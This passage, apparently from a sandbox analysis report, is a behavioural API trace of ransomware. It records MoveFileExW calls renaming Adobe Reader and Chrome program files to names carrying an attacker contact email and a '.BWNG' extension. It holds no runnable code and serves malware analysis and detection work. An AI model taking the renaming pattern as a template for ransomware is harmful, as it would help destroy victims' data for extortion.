(x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_uy.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].OYuMfN8K-EjP6ge90.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].oyumfn8k-ejp6ge90.bwng"), dwFlags=0x1) returned 1 [0105.154] GetTickCount () returned 0x1161fc1 [0105.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24710628397) returned 1 [0105.154] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\gre.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\gre.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].WgvRT3tt-8kGcEgQe.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].wgvrt3tt-8kgcegqe.bwng"), dwFlags=0x1) returned 1 [0105.155] GetTickCount () returned 0x1161fc1 [0105.155] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24710742886) returned 1 [0105.155] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].NqJm64ZH-pDU1jKV7.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].nqjm64zh-pdu1jkv7.bwng"), dwFlags=0x1) returned 1 [0105.156] GetTickCount () returned 0x1161fc1 [0105.156] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24710856574) returned 1 [0105.157] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\heb134.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\heb134.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].oisIuvgQ-cQMj2ntF.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].oisiuvgq-cqmj2ntf.bwng"), dwFlags=0x1) returned 1 [0105.158] GetTickCount () returned 0x1161fc1 [0105.158] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24710990638) returned 1 [0105.158] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].EaEn9owh-6tUQQLGw.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].eaen9owh-6tuqqlgw.bwng"), dwFlags=0x1) returned 1 [0105.159] GetTickCount () returned 0x1161fc1 [0105.159] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24711127180) returned 1 [0105.159] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].KWR2MN6w-S6at3HvQ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].kwr2mn6w-s6at3hvq.bwng"), dwFlags=0x1) returned 1 [0105.161] GetTickCount () returned 0x1161fd1 [0105.161] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24711280172) returned 1 [0105.161] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_BR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_br.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].N5Bj15Ra-tB8Eoijt.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].n5bj15ra-tb8eoijt.bwng"), dwFlags=0x1) returned 1 [0105.162] GetTickCount () returned 0x1161fd1 [0105.162] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24711432517) returned 1 [0105.162] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].NWlj8zRV-NeD2skwk.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].nwlj8zrv-ned2skwk.bwng"), dwFlags=0x1) returned 1 [0105.163] GetTickCount () returned 0x1161fd1 [0105.163] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24711573458) returned 1 [0105.164] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].ILorJbYe-zGrwTjiv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].ilorjbye-zgrwtjiv.bwng"), dwFlags=0x1) returned 1 [0105.165] GetTickCount () returned 0x1161fd1 [0105.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24711709027) returned 1 [0105.165] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brz.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brz.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].0XFYkQYU-sOZSXkYM.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].0xfykqyu-sozsxkym.bwng"), dwFlags=0x1) returned 1 [0105.166] GetTickCount () returned 0x1161fd1 [0105.166] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24711841583) returned 1 [0105.166] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can03.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can03.ths"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].qauFtDlu-8RDi3MDh.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].qauftdlu-8rdi3mdh.bwng"), dwFlags=0x1) returned 1 [0105.167] GetTickCount () returned 0x1161fd1 [0105.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24711953634) returned 1 [0105.167] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ctl28.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ctl28.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].VCPF4TwK-13GqK8B7.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].vcpf4twk-13gqk8b7.bwng"), dwFlags=0x1) returned 1 [0105.169] GetTickCount () returned 0x1161fd1 [0105.169] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24712082720) returned 1 [0105.169] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\danphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\danphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].78eqejrC-x8I8889z.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].78eqejrc-x8i8889z.bwng"), dwFlags=0x1) returned 1 [0105.170] GetTickCount () returned 0x1161fd1 [0105.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24712207951) returned 1 [0105.170] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\symbol.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\[billwong73@yahoo.com].2KMmCSad-mdebcX1e.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\[billwong73@yahoo.com].2kmmcsad-mdebcx1e.bwng"), dwFlags=0x1) returned 1 [0105.171] GetTickCount () returned 0x1161fd1 [0105.171] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24712343950) returned 1 [0105.171] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\DigSig.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\digsig.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\[billwong73@yahoo.com].pi6giQXQ-F4VBzcol.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\[billwong73@yahoo.com].pi6giqxq-f4vbzcol.bwng"), dwFlags=0x1) returned 1 [0105.173] GetTickCount () returned 0x1161fd1 [0105.173] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24712528673) returned 1 [0105.173] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\ReadOutLoud.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\readoutloud.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\[billwong73@yahoo.com].m6M4fmBD-pGH3AAe1.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\[billwong73@yahoo.com].m6m4fmbd-pgh3aae1.bwng"), dwFlags=0x1) returned 1 [0105.445] GetTickCount () returned 0x11620e9 [0105.445] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24739762173) returned 1 [0105.446] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1256.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1256.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\[billwong73@yahoo.com].URqpV5VQ-175pqGFv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\[billwong73@yahoo.com].urqpv5vq-175pqgfv.bwng"), dwFlags=0x1) returned 1 [0105.447] GetTickCount () returned 0x11620e9 [0105.447] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24739943642) returned 1 [0105.447] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\accessibility.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\accessibility.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\[billwong73@yahoo.com].C9MG5rzE-phG4otwy.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\[billwong73@yahoo.com].c9mg5rze-phg4otwy.bwng"), dwFlags=0x1) returned 1 [0105.449] GetTickCount () returned 0x11620e9 [0105.449] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24740113823) returned 1 [0105.449] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\IA32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\ia32.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\[billwong73@yahoo.com].QQiBxbid-ujxXCEzv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\[billwong73@yahoo.com].qqibxbid-ujxxcezv.bwng"), dwFlags=0x1) returned 1 [0105.450] GetTickCount () returned 0x11620e9 [0105.450] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24740242779) returned 1 [0105.450] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\vigtigt.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\[billwong73@yahoo.com].jeOopbWi-jbjxYTaz.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\[billwong73@yahoo.com].jeoopbwi-jbjxytaz.bwng"), dwFlags=0x1) returned 1 [0105.452] GetTickCount () returned 0x11620e9 [0105.452] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24740378231) returned 1 [0105.452] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\SendMail.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\sendmail.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\[billwong73@yahoo.com].Sg4dzu30-tiEj9ZzT.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\[billwong73@yahoo.com].sg4dzu30-tiej9zzt.bwng"), dwFlags=0x1) returned 1 [0105.763] GetTickCount () returned 0x1162221 [0105.763] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24771547958) returned 1 [0105.764] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\docs.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\docs.crx"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\[billwong73@yahoo.com].O6AA3CQ1-Y0hX9saR.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\[billwong73@yahoo.com].o6aa3cq1-y0hx9sar.bwng"), dwFlags=0x1) returned 1 [0105.765] GetTickCount () returned 0x1162221 [0105.765] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24771695661) returned 1 [0105.765] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\BRdlang32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\brdlang32.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\[billwong73@yahoo.com].6x348j5t-kQWXfGiM.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\[billwong73@yahoo.com].6x348j5t-kqwxfgim.bwng"), dwFlags=0x1) returned 1 [0105.766] GetTickCount () returned 0x1162221 [0105.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24771848430) returned 1 [0105.766] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\PPKLITE.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\ppklite.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\[billwong73@yahoo.com].ZcIuJLV7-aWP7L5o0.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\[billwong73@yahoo.com].zciujlv7-awp7l5o0.bwng"), dwFlags=0x1) returned 1 [0105.767] GetTickCount () returned 0x1162221 [0105.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24771963828) returned 1 [0105.768] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ar.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ar.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].ub7mVBfK-Ii2GGXxv.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].ub7mvbfk-ii2ggxxv.bwng"), dwFlags=0x1) returned 1 [0105.769] GetTickCount () returned 0x1162231 [0105.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24772090025) returned 1 [0105.769] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Updater.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\updater.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\[billwong73@yahoo.com].D1Rw3Rux-raqheICa.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\[billwong73@yahoo.com].d1rw3rux-raqheica.bwng"), dwFlags=0x1) returned 1 [0105.770] GetTickCount () returned 0x1162231 [0105.770] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24772224486) returned 1 [0105.770] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es-419.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\es-419.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].ecRDrXGS-Pajg8NG9.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].ecrdrxgs-pajg8ng9.bwng"), dwFlags=0x1) returned 1 [0105.771] GetTickCount () returned 0x1162231 [0105.771] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24772367322) returned 1 [0105.772] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\eBook.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\ebook.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\[billwong73@yahoo.com].hBhifzSe-Y8rL5mfU.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\[billwong73@yahoo.com].hbhifzse-y8rl5mfu.bwng"), dwFlags=0x1) returned 1 [0105.773] GetTickCount () returned 0x1162231 [0105.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24772493245) returned 1 [0105.773] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\SaveAsRTF.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\saveasrtf.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\[billwong73@yahoo.com].KraTQ4Pf-QNXBfFK2.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\[billwong73@yahoo.com].kratq4pf-qnxbffk2.bwng"), dwFlags=0x1) returned 1 [0105.774] GetTickCount () returned 0x1162231 [0105.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24772618188) returned 1 [0105.774] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\hr.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].Mk4lsqir-Axk5H5Iy.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].mk4lsqir-axk5h5iy.bwng"), dwFlags=0x1) returned 1 [0105.775] GetTickCount () returned 0x1162231 [0105.775] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24772726365) returned 1 [0105.775] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\AdobeCollabSync.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\adobecollabsync.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].uDfQekEs-nlV8dFRu.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].udfqekes-nlv8dfru.bwng"), dwFlags=0x1) returned 1 [0105.776] GetTickCount () returned 0x1162231 [0105.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24772856669) returned 1 [0105.777] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\mr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\mr.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].H7vRTsbn-1iI22vB3.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].h7vrtsbn-1ii22vb3.bwng"), dwFlags=0x1) returned 1 [0106.066] GetTickCount () returned 0x1162359 [0106.066] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24801846870) returned 1 [0106.067] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1255.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1255.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\[billwong73@yahoo.com].cQxwyaMr-alvW6sQX.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\[billwong73@yahoo.com].cqxwyamr-alvw6sqx.bwng"), dwFlags=0x1) returned 1 [0106.068] GetTickCount () returned 0x1162359 [0106.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24802008963) returned 1 [0106.068] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sl.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].myevk92I-0dYVYlHA.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].myevk92i-0dyvylha.bwng"), dwFlags=0x1) returned 1 [0106.069] GetTickCount () returned 0x1162359 [0106.069] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24802133330) returned 1 [0106.069] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\zh-CN.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\zh-cn.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].yxT7pAaw-uR0nw6g4.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].yxt7paaw-ur0nw6g4.bwng"), dwFlags=0x1) returned 1 [0106.070] GetTickCount () returned 0x1162359 [0106.070] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24802249413) returned 1 [0106.070] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\manifest.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\manifest.json"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\[billwong73@yahoo.com].KYTj6opU-xxtbyuqK.BWNG" (normalized: "c:\\program files 